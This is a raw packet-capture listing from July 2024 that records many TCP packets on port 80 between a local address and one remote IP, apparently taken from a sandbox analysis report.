Jul 4, 2024 22:20:29.793086052 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.793119907 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.793119907 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.867943048 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.868026972 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.868165016 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.868175983 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.868186951 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.868197918 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.868205070 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.868216038 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.868238926 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.868238926 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.868267059 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.872383118 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.872457027 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.872468948 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.872495890 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.872495890 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.872522116 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.872534990 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.872555971 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.872555971 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.872580051 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.872788906 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.872899055 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.873244047 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.873303890 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.874242067 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.874252081 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.874263048 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.874294043 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.874294043 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.874337912 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.874393940 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.874404907 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.874414921 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.874444008 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.874444008 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.874550104 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.874560118 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.874620914 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.878148079 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.878160000 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.878205061 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.878210068 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.878220081 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.878249884 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.878268003 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.878348112 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.878359079 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.878367901 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.878388882 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.878432989 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.880951881 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.880961895 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.880971909 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.881000996 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.881016970 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.881107092 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.881118059 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.881127119 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.881140947 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.881150007 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.881177902 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.881989002 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.882054090 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.882065058 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.882085085 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.882085085 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.882101059 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.882208109 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.882219076 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.882229090 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.882239103 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.882250071 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.882262945 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.882262945 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.882277012 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.882313967 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.882519007 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.882529974 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.882539988 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.882550955 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.882560968 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.882572889 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.882577896 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.882577896 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.882615089 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.882615089 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.883696079 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.883764982 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.883774996 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.883913040 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.883922100 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.883924961 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.883935928 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.883948088 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.883965969 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.883989096 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.884000063 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.884134054 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.884145975 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.884156942 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.884202957 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.884202957 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.983788013 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.988531113 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.165359020 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.165381908 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.165391922 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.165489912 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.165489912 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.165551901 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.165564060 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.165575027 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.165580988 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.165616989 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.165616989 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.165673971 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.165880919 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.165899038 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.165910006 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.165921926 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.165927887 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.165936947 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.165941954 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.165951967 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.165965080 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.165970087 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.165987015 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.166059017 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.166496992 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.166510105 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.166521072 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.166532993 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.166546106 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.166557074 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.166565895 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.166565895 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.166570902 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.166584969 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.166595936 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.166608095 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.166608095 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.166608095 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.166623116 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.166635990 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.166642904 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.166649103 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.166685104 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.166685104 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.167452097 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.167464972 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.167476892 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.167490005 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.167496920 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.167501926 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.167512894 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.167516947 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.167531013 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.167543888 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.167548895 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.167548895 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.167557955 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.167571068 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.167583942 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.167586088 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.167599916 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.167602062 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.167613983 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.167629004 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.167665005 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.168513060 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.168525934 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.168538094 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.168550014 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.168560982 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.168572903 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.168576956 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.168586016 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.168587923 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.168598890 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.168606997 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.168612003 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.168625116 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.168637037 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.168648958 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.168653965 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.168653965 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.168663025 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.168674946 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.168684959 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.168684959 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.168719053 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.169420004 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.169431925 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.169442892 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.169455051 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.169466972 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.169477940 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.169487953 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.169487953 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.169491053 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.169504881 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.169506073 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.169516087 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.169528961 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.169534922 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.169542074 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.169553995 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.169564962 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.169568062 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.169568062 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.169578075 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.169615030 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.169615030 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.170344114 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.170356989 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.170368910 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.170382023 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.170393944 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.170399904 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.170408010 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.170413971 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.170420885 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.170433998 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.170444965 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.170458078 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.170460939 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.170460939 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.170470953 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.170484066 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.170485020 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.170494080 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.170499086 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.170525074 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.170574903 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.171350002 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.171361923 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.171374083 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.171386957 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.171400070 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.171401978 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.171412945 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.171416998 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.171425104 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.171437979 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.171447992 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.171454906 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.171461105 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.171473026 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.171473980 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.171487093 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.171488047 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.171499014 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.171499968 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.171514988 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.171530008 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.171561003 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.172270060 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.172282934 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.172300100 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.172312021 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.172323942 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.172333956 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.172333956 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.172337055 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.172350883 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.172364950 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.172373056 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.172373056 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.172379017 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.172393084 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.172399998 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.172406912 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.172420979 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.172427893 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.172434092 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.172446966 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.172465086 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.172476053 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.172492027 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.173202991 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.173217058 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.173229933 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.173274994 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.173274994 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.260476112 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.260493994 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.260504961 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.260514975 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.260526896 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.260539055 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.260550976 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.260560989 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.260572910 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.260584116 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.260595083 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.260598898 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.260608912 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.260622978 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.260636091 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.260648012 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.260649920 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.260667086 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.260668039 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.260680914 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.260716915 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.260716915 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.260782003 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.260795116 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.260806084 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.260818005 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.260823011 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.260829926 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.260840893 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.260852098 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.260858059 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.260864019 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.260874033 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.260878086 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.260878086 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.260890007 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.260901928 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.260910988 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.260915041 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.260926962 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.260936022 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.260942936 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.260972977 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.261866093 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.261878014 CEST	80	49704	85.28.47.30	192.168.2.5
